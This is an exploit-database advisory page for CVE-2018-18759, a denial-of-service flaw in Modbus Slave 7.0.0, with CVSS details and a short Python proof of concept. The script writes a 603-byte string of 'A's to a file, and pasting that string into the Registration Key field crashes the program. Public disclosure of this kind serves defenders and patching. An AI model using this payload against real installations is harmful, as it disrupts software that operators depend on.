Modbus Slave 7.0.0 Denial Of Service

2018.10.30

Credit: Ihsan Sencan

Risk: Low

Local: Yes

Remote: No

CVE: CVE-2018-18759

CWE: CWE-119

CVSS Base Score: 5/10

Impact Subscore: 2.9/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: None

Integrity impact: None

Availability impact: Partial

# Exploit Title: Modbus Slave 7.0.0 - Denial of Service (PoC)
# Dork: N/A
# Date: 2018-10-29
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://www.modbustools.com/
# Software Link: https://www.modbustools.com/download/ModbusSlaveSetup32Bit.exe
# Software Link: https://www.modbustools.com/download/ModbusSlaveSetup64Bit.exe
# Version: 7.0.0
# Category: Dos
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-18759
 
# POC: 
# 1)
# F3 & Connection / Connect / Registration Key
 
#!/usr/bin/python
 
buffer = "A" * 603
try:
    f=open("sie.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(buffer)
    f.write(buffer)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"

See this note in RAW Version

Vote for this issue:

100%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Modbus Slave 7.0.0 Denial Of Service

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.